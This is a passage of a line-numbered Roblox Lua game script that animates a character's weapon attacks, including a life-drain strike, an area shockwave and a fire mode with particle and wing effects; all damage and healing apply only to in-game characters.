| 8967 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 8968 | end | |
| 8969 | for i = 0 , 1 , 0.1 do | |
| 8970 | wait() | |
| 8971 | RW.C0 = CFrame.new(1*i,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90-20*i), math.rad(90-90*i), math.rad(-10-35*i)) | |
| 8972 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-100+100*i), math.rad(0), math.rad(0)) | |
| 8973 | LW.C0 = CFrame.new(-0.5-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-10*i),math.rad(-45+45*i),math.rad(45)) | |
| 8974 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8975 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
| 8976 | end | |
| 8977 | ss(Head,1.5) | |
| 8978 | fs(Head,0.5+1.5*math.random()) | |
| 8979 | wait(0.1) | |
| 8980 | Hitdeb = 0 | |
| 8981 | for i = 0 , 1 , 0.2 do | |
| 8982 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8983 | wait() | |
| 8984 | RW.C0 = CFrame.new(1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i), math.rad(0), math.rad(-45)) | |
| 8985 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8986 | LW.C0 = CFrame.new(-1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i),math.rad(0),math.rad(45)) | |
| 8987 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8988 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
| 8989 | if FTCount <= MaxFT then | |
| 8990 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
| |
| 8991 | eff.Transparency = 1 | |
| 8992 | table.insert(efftab,eff) | |
| 8993 | FTCount = FTCount + 1 | |
| 8994 | OTND(eff) | |
| 8995 | coroutine.resume(coroutine.create(function() | |
| 8996 | for i = 0 , 1 , 0.15 do | |
| 8997 | wait() | |
| 8998 | eff.Transparency = 1-0.5*i | |
| 8999 | end | |
| 9000 | wait() | |
| 9001 | eff.Transparency = 0.5 | |
| 9002 | end)) | |
| 9003 | end | |
| 9004 | end | |
| 9005 | coroutine.resume(coroutine.create(function() | |
| 9006 | wait(5) | |
| 9007 | for _,eff in pairs(efftab) do | |
| 9008 | wait() | |
| 9009 | eff.Parent = nil | |
| 9010 | FTCount = FTCount - 1 | |
| 9011 | end end)) | |
| 9012 | for i = 0 , 1 , 0.1 do | |
| 9013 | wait() | |
| 9014 | RW.C0 = CFrame.new(1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i), math.rad(45*i), math.rad(-45)) | |
| 9015 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9016 | LW.C0 = CFrame.new(-1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i),math.rad(-45*i),math.rad(45)) | |
| 9017 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 9018 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
| 9019 | end | |
| 9020 | dmgdc() | |
| 9021 | attack=false | |
| 9022 | end | |
| 9023 | ||
| 9024 | ||
| 9025 | function LifeDrain() | |
| 9026 | attack=true | |
| 9027 | for i = 0 , 1 , 0.1 do | |
| 9028 | wait() | |
| 9029 | RW.C0 = CFrame.new(1,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45), math.rad(-45+90*i)) | |
| 9030 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0)) | |
| 9031 | LW.C0 = CFrame.new(-1+1.25*i,0.5+0.25*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+25*i),math.rad(-45+90*i),math.rad(45+25*i)) | |
| 9032 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0)) | |
| 9033 | w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0) | |
| 9034 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9035 | end | |
| 9036 | ------ | |
| 9037 | local nrmag = 50 | |
| 9038 | local nrprsn = nil | |
| 9039 | wait() | |
| 9040 | -- | |
| 9041 | local c = game.Workspace:GetChildren(); | |
| 9042 | for i = 1, #c do | |
| 9043 | local hum = c[i]:findFirstChild("Humanoid")
| |
| 9044 | if hum ~= nil and hum.Health ~= 0 then | |
| 9045 | local head = c[i]:findFirstChild("Torso");
| |
| 9046 | if head ~= nil then | |
| 9047 | local targ = head.Position - Torso.Position; | |
| 9048 | local mag = targ.magnitude; | |
| 9049 | if mag <= 50 and c[i].Name ~= Player.Name then | |
| 9050 | if mag < nrmag then | |
| 9051 | nrmag = mag | |
| 9052 | nrprsn = c[i] | |
| 9053 | end | |
| 9054 | end end end end | |
| 9055 | -- | |
| 9056 | if nrprsn == nil then | |
| 9057 | attack = false | |
| 9058 | return end | |
| 9059 | local C = 0 | |
| 9060 | local bp = Instance.new("BodyPosition")
| |
| 9061 | local bg = Instance.new("BodyGyro")
| |
| 9062 | bp.Parent = Torso | |
| 9063 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
| 9064 | bp.P = bp.P + 10000 | |
| 9065 | local CF = nrprsn.Torso.CFrame | |
| 9066 | bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * -3 | |
| 9067 | bg.Parent = Torso | |
| 9068 | bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
| 9069 | bg.P = bg.P + 100000 | |
| 9070 | bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(0),0,0) | |
| 9071 | ss(Head,2) | |
| 9072 | wait(0.1) | |
| 9073 | local FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 9074 | local LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 9075 | for i = 0 , 1 , 0.2 do | |
| 9076 | wait() | |
| 9077 | C = C + 1 | |
| 9078 | RW.C0 = CFrame.new(1-1*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-90*i), math.rad(45), math.rad(45-135*i)) | |
| 9079 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0)) | |
| 9080 | LW.C0 = CFrame.new(0.25-1.75*i,0.75-0.25*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(105-60*i),math.rad(45),math.rad(70-125*i)) | |
| 9081 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0)) | |
| 9082 | w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0) | |
| 9083 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9084 | if C == 3 then | |
| 9085 | bp.P = bp.P + 10000 | |
| 9086 | bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * 6 | |
| 9087 | bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(-45),0,0) | |
| 9088 | end | |
| 9089 | if C == 2 then | |
| 9090 | FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 9091 | elseif C == 5 then | |
| 9092 | LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 9093 | end | |
| 9094 | end | |
| 9095 | local effectsmsh = Instance.new("SpecialMesh")
| |
| 9096 | effectsmsh.Scale = Vector3.new(5,1,5) | |
| 9097 | effectsmsh.MeshType = "Sphere" | |
| 9098 | local effectsg = Instance.new("Part")
| |
| 9099 | effectsg.formFactor = 3 | |
| 9100 | effectsg.CanCollide = false | |
| 9101 | effectsg.Name = "Eff" | |
| 9102 | effectsg.Locked = true | |
| 9103 | effectsg.Anchored = true | |
| 9104 | effectsg.Size = Vector3.new(0.2,1,0.2) | |
| 9105 | effectsg.Parent = swordholder | |
| 9106 | effectsmsh.Parent = effectsg | |
| 9107 | effectsg.BrickColor = BrickColor.new("White")
| |
| 9108 | effectsg.Reflectance = Ref | |
| 9109 | local point1 = FirstP | |
| 9110 | local LP = LastP | |
| 9111 | local mg = (LP.p - point1.p).magnitude | |
| 9112 | effectsg.Size = Vector3.new(0.2,mg,0.2) | |
| 9113 | effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0) | |
| 9114 | if returnn then return effectsg end | |
| 9115 | coroutine.resume(coroutine.create(function() | |
| 9116 | if not returnn then | |
| 9117 | for i = 0 , 1 , 0.1 do | |
| 9118 | wait() | |
| 9119 | effectsg.Transparency = 1*i | |
| 9120 | end | |
| 9121 | wait() | |
| 9122 | effectsg.Parent = nil | |
| 9123 | end | |
| 9124 | end)) | |
| 9125 | local critrandomizer = math.random(1,crtrate) | |
| 9126 | local rndmdamage = 0 | |
| 9127 | if critrandomizer ~= 1 then | |
| 9128 | rndmdamage = math.random(mindamage,maxdamage) | |
| 9129 | damagesplat(rndmdamage,nrprsn.Head,false) | |
| 9130 | nrprsn.Humanoid:TakeDamage(rndmdamage) | |
| 9131 | elseif critrandomizer == 1 then | |
| 9132 | rndmdamage = math.random(maxdamage,crtmaxdamage) | |
| 9133 | damagesplat(rndmdamage,nrprsn.Head,true) | |
| 9134 | nrprsn.Humanoid:TakeDamage(rndmdamage) | |
| 9135 | end | |
| 9136 | local tempmod = Instance.new("Model",Workspace)
| |
| 9137 | for l = 1 , rndmdamage/5 do | |
| 9138 | local meshz = Instance.new("SpecialMesh")
| |
| 9139 | meshz.Scale = Vector3.new(1.5,1.5,1.5) | |
| 9140 | meshz.MeshType = "Sphere" | |
| 9141 | local shellz = Instance.new("Part")
| |
| 9142 | meshz.Parent = shellz | |
| 9143 | shellz.Anchored = false | |
| 9144 | shellz.formFactor = 0 | |
| 9145 | shellz.Size = Vector3.new(1,1,1) | |
| 9146 | shellz.CFrame = hitbox.CFrame | |
| 9147 | shellz.Parent = tempmod | |
| 9148 | shellz.Transparency = 0.5 | |
| 9149 | shellz.BrickColor = BrickColor.new("White")
| |
| 9150 | shellz.CanCollide = false | |
| 9151 | shellz.Reflectance = 0 | |
| 9152 | local bv = Instance.new("BodyPosition")
| |
| 9153 | bv.Parent = shellz | |
| 9154 | bv.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
| 9155 | bv.P = bv.P + 10000 | |
| 9156 | bv.position = shellz.Position + Vector3.new(math.random(-25,25),math.random(-2.5,7.5),math.random(-25,25)) | |
| 9157 | coroutine.resume(coroutine.create(function() | |
| 9158 | wait(3) | |
| 9159 | bv.maxForce = Vector3.new(0,math.huge,0) | |
| 9160 | coroutine.resume(coroutine.create(function() | |
| 9161 | local dd = false | |
| 9162 | while shellz.Transparency ~= 1 and not dd do | |
| 9163 | wait(0.1) | |
| 9164 | local cc = game.Workspace:GetChildren(); | |
| 9165 | for i = 1, #c do | |
| 9166 | local hum = cc[i]:findFirstChild("Humanoid")
| |
| 9167 | if hum ~= nil and hum.Health ~= 0 then | |
| 9168 | local head = cc[i]:findFirstChild("Head");
| |
| 9169 | if head ~= nil then | |
| 9170 | local targ = head.Position - shellz.Position; | |
| 9171 | local mag = targ.magnitude; | |
| 9172 | if mag <= 5 then | |
| 9173 | dd = true | |
| 9174 | damagesplat(5+darkboost,head,false) | |
| 9175 | hum.Health = hum.Health + 5 + darkboost | |
| 9176 | for i = 0 , 1 , 0.05 do | |
| 9177 | wait() | |
| 9178 | shellz.Transparency = 1*i | |
| 9179 | end | |
| 9180 | shellz.Parent = nil | |
| 9181 | end | |
| 9182 | end | |
| 9183 | end | |
| 9184 | end | |
| 9185 | end | |
| 9186 | end)) | |
| 9187 | ||
| 9188 | end)) | |
| 9189 | local hx = false | |
| 9190 | coroutine.resume(coroutine.create(function() | |
| 9191 | for i = 0 , 1 , 0.05 do | |
| 9192 | wait() | |
| 9193 | shellz.Transparency = 1-1*i | |
| 9194 | end | |
| 9195 | shellz.Transparency = 0 | |
| 9196 | end)) | |
| 9197 | coroutine.resume(coroutine.create(function() | |
| 9198 | wait(60) | |
| 9199 | for ii,shellz in pairs(tempmod:GetChildren()) do | |
| 9200 | for i = 0 , 1 , 0.1 do | |
| 9201 | wait() | |
| 9202 | shellz.Transparency = 1*i | |
| 9203 | end | |
| 9204 | shellz.Parent = nil | |
| 9205 | end | |
| 9206 | tempmod.Parent = nil | |
| 9207 | end)) | |
| 9208 | end | |
| 9209 | wait(0.5) | |
| 9210 | ---- | |
| 9211 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
| 9212 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9213 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
| 9214 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9215 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9216 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9217 | attack=false | |
| 9218 | bp.Parent = nil bg.Parent = nil | |
| 9219 | end | |
| 9220 | ||
| 9221 | ||
| 9222 | --TEST | |
| 9223 | ||
| 9224 | hammer = Torso | |
| 9225 | ||
| 9226 | function doDamage(hit) | |
| 9227 | local humanoid = hit.Parent:findFirstChild("Humanoid")
| |
| 9228 | local hum = Player.Character:findFirstChild("Humanoid") -- non-nil if tool held by a character
| |
| 9229 | if humanoid~=nil and humanoid ~= hum and hum ~= nil then | |
| 9230 | local foundd = false | |
| 9231 | for ii = 1 , #AoETrue do | |
| 9232 | if AoETrue[ii] == hit.Parent.Name then | |
| 9233 | foundd = true | |
| 9234 | end | |
| 9235 | end | |
| 9236 | if foundd then | |
| 9237 | end | |
| 9238 | -- | |
| 9239 | if not foundd then | |
| 9240 | humanoid:TakeDamage(5) | |
| 9241 | if Mode == "Fire" then | |
| 9242 | end | |
| 9243 | damagesplat(5,humanoid.Parent.Torso,false) | |
| 9244 | table.insert(AoETrue,hit.Parent) | |
| 9245 | end | |
| 9246 | ||
| 9247 | if humanoid.Health <= 0 then | |
| 9248 | local c = hit.CFrame | |
| 9249 | hit.CFrame = CFrame.new(hit.Position) | |
| 9250 | hit.CFrame = c | |
| 9251 | end | |
| 9252 | delay(1, function() end) | |
| 9253 | else | |
| 9254 | local c = hit.CFrame hit.CFrame = CFrame.new(hit.Position) hit.CFrame = c | |
| 9255 | end | |
| 9256 | end | |
| 9257 | function bewm(obj, pos, notme) | |
| 9258 | if (obj ~= notme) then | |
| 9259 | if (obj.className == "Part") or (obj.className == "Seat") then | |
| 9260 | if (not obj.Anchored) and (((pos - obj.Position) * Vector3.new(1, 0, 1)).magnitude < 24) and (pos.y <= obj.Position.y + 2) and (pos.y >= obj.Position.y - 2) then | |
| 9261 | delay((pos - obj.Position).magnitude / 24, function() obj.Velocity = ((obj.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 96 + obj.Velocity obj.RotVelocity = obj.RotVelocity + Vector3.new(obj.Position.z - pos.z, 0, pos.x - obj.Position.x).unit * 40 doDamage(obj) end) | |
| 9262 | end | |
| 9263 | elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then | |
| 9264 | local list = obj:GetChildren() | |
| 9265 | for x = 1, #list do | |
| 9266 | bewm(list[x], pos, notme) | |
| 9267 | end | |
| 9268 | end | |
| 9269 | end | |
| 9270 | end | |
| 9271 | ||
| 9272 | function attackr() | |
| 9273 | local shockRing = Instance.new("Part")
| |
| 9274 | shockRing.formFactor = 2 | |
| 9275 | shockRing.Size = Vector3.new(1, 0.4, 1) | |
| 9276 | shockRing.Anchored = true | |
| 9277 | shockRing.Locked = true | |
| 9278 | shockRing.CanCollide = false | |
| 9279 | shockRing.archivable = false | |
| 9280 | shockRing.TopSurface = 0 | |
| 9281 | shockRing.BottomSurface = 0 | |
| 9282 | shockRing.Transparency = 0 | |
| 9283 | if Mode == "Fire" then | |
| 9284 | shockRing.BrickColor = BrickColor.new("Really red")
| |
| 9285 | elseif Mode == "Dark" then | |
| 9286 | shockRing.BrickColor = BrickColor.new("Bright violet")
| |
| 9287 | elseif Mode == "Ice" then | |
| 9288 | shockRing.BrickColor = BrickColor.new("Bright blue")
| |
| 9289 | shockRing.Reflectance = 0.2 | |
| 9290 | end | |
| 9291 | local decal = Instance.new("CylinderMesh")
| |
| 9292 | decal.Parent = shockRing | |
| 9293 | decal.Scale = Vector3.new(1,0.1,1) | |
| 9294 | wait(0.2) | |
| 9295 | local pos = hammer.CFrame * (Vector3.new(0, -2.5, 0)) | |
| 9296 | bewm(game.Workspace, pos, Player.Character) | |
| 9297 | shockRing.CFrame = CFrame.new(pos) | |
| 9298 | for x = 0, 1 , 0.0625 do | |
| 9299 | delay((x*16) / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(3.2, 0, 3.2) * (x*16) shockRing.Transparency = 1*x shockRing.Parent = Player.Character end) | |
| 9300 | end | |
| 9301 | delay(1, function() | |
| 9302 | shockRing.Parent = nil | |
| 9303 | for ii = 1 , #AoETrue do | |
| 9304 | table.remove(AoETrue,#AoETrue) | |
| 9305 | end end) | |
| 9306 | end | |
| 9307 | local modemodel = Instance.new("Model",swordholder)
| |
| 9308 | local mrdychng = false | |
| 9309 | function FireMode() | |
| 9310 | attack=true | |
| 9311 | Mode = "Fire" | |
| 9312 | fireboost = 5 | |
| 9313 | mrdychng = true | |
| 9314 | for i = 0 , 1 , 0.1 do | |
| 9315 | wait() | |
| 9316 | RW.C0 = CFrame.new(1+0.5*i,0.5+1*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45+45*i)) | |
| 9317 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9318 | LW.C0 = CFrame.new(-1+1*i,0.5+1*i,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45+65*i)) | |
| 9319 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9320 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9321 | end | |
| 9322 | cs(Head,1.5) | |
| 9323 | local tempmod = Instance.new("Model",swordholder)
| |
| 9324 | for l = 1 , 20 do | |
| 9325 | local meshz = Instance.new("SpecialMesh")
| |
| 9326 | meshz.Scale = Vector3.new(0.5,0.5,0.5) | |
| 9327 | meshz.MeshType = "Sphere" | |
| 9328 | local shellz = Instance.new("Part")
| |
| 9329 | meshz.Parent = shellz | |
| 9330 | shellz.Anchored = false | |
| 9331 | shellz.formFactor = 0 | |
| 9332 | shellz.Size = Vector3.new(1,1,1) | |
| 9333 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) | |
| 9334 | shellz.Parent = tempmod | |
| 9335 | shellz.Transparency = 0.5 | |
| 9336 | shellz.BrickColor = BrickColor.new("Really red")
| |
| 9337 | shellz.CanCollide = false | |
| 9338 | shellz.Reflectance = 0 | |
| 9339 | local bv = Instance.new("BodyPosition")
| |
| 9340 | bv.Parent = shellz | |
| 9341 | bv.maxForce = Vector3.new(200000,200000,200000) | |
| 9342 | bv.position = shellz.Position | |
| 9343 | coroutine.resume(coroutine.create(function() | |
| 9344 | for i = 0 , 1 , 0.025 do | |
| 9345 | wait() | |
| 9346 | shellz.Transparency = 1-1*i | |
| 9347 | end | |
| 9348 | shellz.Transparency = 0 | |
| 9349 | end)) | |
| 9350 | coroutine.resume(coroutine.create(function() | |
| 9351 | wait(0.05) | |
| 9352 | bv.position = hitbox.Position | |
| 9353 | for i = 1 , 20 do | |
| 9354 | wait(0.1) | |
| 9355 | bv.position = shell.Position | |
| 9356 | end | |
| 9357 | shellz.Parent = nil | |
| 9358 | end)) | |
| 9359 | wait(0.01) | |
| 9360 | end | |
| 9361 | coroutine.resume(coroutine.create(function () | |
| 9362 | wait(0.25) | |
| 9363 | tempmod.Parent = nil | |
| 9364 | end)) | |
| 9365 | for i = 0 , 1 , 0.2 do | |
| 9366 | wait() | |
| 9367 | RW.C0 = CFrame.new(1.5,1.5-1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(135-45*i), math.rad(0), math.rad(0)) | |
| 9368 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 9369 | LW.C0 = CFrame.new(0,1.5-1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(110-45*i)) | |
| 9370 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 9371 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 9372 | end | |
| 9373 | bs(Head,0.75) | |
| 9374 | attackr() | |
| 9375 | for zz = 1 , 1 do | |
| 9376 | local mesh = Instance.new("SpecialMesh")
| |
| 9377 | mesh.MeshType = "FileMesh" | |
| 9378 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
| 9379 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
| 9380 | local shell = Instance.new("Part")
| |
| 9381 | mesh.Parent = shell | |
| 9382 | shell.Anchored = true | |
| 9383 | shell.formFactor = 1 | |
| 9384 | shell.Size = Vector3.new(1,1,1) | |
| 9385 | shell.CFrame = Torso.CFrame * CFrame.new(0,-1.5,0) | |
| 9386 | shell.Parent = swordholder | |
| 9387 | shell.Transparency = 0 | |
| 9388 | shell.BrickColor = BrickColor.new("Really red")
| |
| 9389 | shell.CanCollide = false | |
| 9390 | coroutine.resume(coroutine.create(function() | |
| 9391 | for i = 0 , 1 , 0.075 do | |
| 9392 | wait() | |
| 9393 | mesh.Scale = Vector3.new(20,5,20) * Vector3.new(i,1,i) | |
| 9394 | shell.Transparency = 1*i | |
| 9395 | end | |
| 9396 | shell.Transparency = 1 | |
| 9397 | shell.Parent = nil | |
| 9398 | end)) | |
| 9399 | end | |
| 9400 | for zz = 1 , 1 do | |
| 9401 | local mesh = Instance.new("SpecialMesh")
| |
| 9402 | mesh.MeshType = "FileMesh" | |
| 9403 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
| 9404 | mesh.Scale = Vector3.new(10,20,10) * Vector3.new(0.01,0.01,0.01) | |
| 9405 | local shell = Instance.new("Part")
| |
| 9406 | mesh.Parent = shell | |
| 9407 | shell.Anchored = true | |
| 9408 | shell.formFactor = 1 | |
| 9409 | shell.Size = Vector3.new(1,1,1) | |
| 9410 | shell.CFrame = Torso.CFrame * CFrame.new(0,1,0) | |
| 9411 | shell.Parent = swordholder | |
| 9412 | shell.Transparency = 0 | |
| 9413 | shell.BrickColor = BrickColor.new("Really red")
| |
| 9414 | shell.CanCollide = false | |
| 9415 | coroutine.resume(coroutine.create(function() | |
| 9416 | for i = 0 , 1 , 0.05 do | |
| 9417 | wait() | |
| 9418 | mesh.Scale = Vector3.new(10,20,10) * Vector3.new(i,1,i) | |
| 9419 | shell.Transparency = 1*i | |
| 9420 | end | |
| 9421 | shell.Transparency = 1 | |
| 9422 | shell.Parent = nil | |
| 9423 | end)) | |
| 9424 | end | |
| 9425 | for zz = 1 , 3 do | |
| 9426 | local mesh = Instance.new("SpecialMesh")
| |
| 9427 | mesh.MeshType = "Sphere" | |
| 9428 | mesh.Scale = Vector3.new(5*zz,5*zz,5*zz) * Vector3.new(0.01,0.01,0.01) | |
| 9429 | local shell = Instance.new("Part")
| |
| 9430 | mesh.Parent = shell | |
| 9431 | shell.Anchored = true | |
| 9432 | shell.formFactor = 3 | |
| 9433 | shell.Size = Vector3.new(1,1,1) | |
| 9434 | shell.CFrame = Torso.CFrame * CFrame.new(0,-1,0) | |
| 9435 | shell.Parent = swordholder | |
| 9436 | shell.Transparency = 0 | |
| 9437 | if math.fmod(zz,2) == 1 then | |
| 9438 | shell.BrickColor = BrickColor.new("Bright orange")
| |
| 9439 | elseif math.fmod(zz,2) == 0.5 then | |
| 9440 | shell.BrickColor = BrickColor.new("Bright red")
| |
| 9441 | else | |
| 9442 | shell.BrickColor = BrickColor.new("Bright yellow")
| |
| 9443 | end | |
| 9444 | shell.CanCollide = false | |
| 9445 | coroutine.resume(coroutine.create(function() | |
| 9446 | for i = 0 , 1 , 0.025 do | |
| 9447 | wait() | |
| 9448 | mesh.Scale = Vector3.new(10*zz,10*zz,10*zz) * Vector3.new(i,i,i) | |
| 9449 | shell.Transparency = 1*i | |
| 9450 | end | |
| 9451 | shell.Transparency = 1 | |
| 9452 | shell.Parent = nil | |
| 9453 | end)) | |
| 9454 | end | |
| 9455 | ||
| 9456 | ||
| 9457 | for ii,z in pairs(modemodel:GetChildren()) do | |
| 9458 | z.Parent = nil | |
| 9459 | end | |
| 9460 | ||
| 9461 | local wing1m = Instance.new("BlockMesh")
| |
| 9462 | wing1m.Scale = Vector3.new(1,1,1) | |
| 9463 | local wing1p = Instance.new("Part")
| |
| 9464 | wing1p.formFactor = 3 | |
| 9465 | wing1p.CanCollide = false | |
| 9466 | wing1p.Name = "FlameWingP1" | |
| 9467 | wing1p.Locked = true | |
| 9468 | wing1p.Size = Vector3.new(0.2,0.2,0.2) | |
| 9469 | wing1p.Parent = modemodel | |
| 9470 | wing1m.Parent = wing1p | |
| 9471 | wing1p.BrickColor = BrickColor.new("Bright red")
| |
| 9472 | wing1p.Transparency = 1 | |
| 9473 | local wing1w = Instance.new("Weld")
| |
| 9474 | wing1w.Parent = wing1p | |
| 9475 | wing1w.Part0 = wing1p | |
| 9476 | wing1w.Part1 = Torso | |
| 9477 | wing1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
| 9478 | wing1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(-1, 0, 0) | |
| 9479 | local wing2m = Instance.new("BlockMesh")
| |
| 9480 | wing2m.Scale = Vector3.new(1,1,1) | |
| 9481 | local wing2p = Instance.new("Part")
| |
| 9482 | wing2p.formFactor = 3 | |
| 9483 | wing2p.CanCollide = false | |
| 9484 | wing2p.Name = "FlameWingP2" | |
| 9485 | wing2p.Locked = true | |
| 9486 | wing2p.Size = Vector3.new(0.2,0.2,0.2) | |
| 9487 | wing2p.Parent = modemodel | |
| 9488 | wing2m.Parent = wing2p | |
| 9489 | wing2p.BrickColor = BrickColor.new("Bright red")
| |
| 9490 | wing2p.Transparency = 1 | |
| 9491 | local wing2w = Instance.new("Weld")
| |
| 9492 | wing2w.Parent = wing2p | |
| 9493 | wing2w.Part0 = wing2p | |
| 9494 | wing2w.Part1 = Torso | |
| 9495 | wing2w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0) | |
| 9496 | wing2w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(1, 0, 0) | |
| 9497 | coroutine.resume(coroutine.create(function() | |
| 9498 | for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do | |
| 9499 | wait(0.1) | |
| 9500 | local ringm = Instance.new("BlockMesh")
| |
| 9501 | ringm.Scale = Vector3.new(1,1,1) | |
| 9502 | local ringp = Instance.new("Part")
| |
| 9503 | ringp.formFactor = 3 | |
| 9504 | ringp.CanCollide = false | |
| 9505 | ringp.Name = "FlameWing"..ringi | |
| 9506 | ringp.Locked = true | |
| 9507 | ringp.Size = Vector3.new(0.2,2,0.8) | |
| 9508 | ringp.Parent = modemodel | |
| 9509 | ringm.Parent = ringp | |
| 9510 | ringp.BrickColor = BrickColor.new("Bright red")
| |
| 9511 | ringp.Reflectance = 0.1 | |
| 9512 | ringp.Transparency = 1 | |
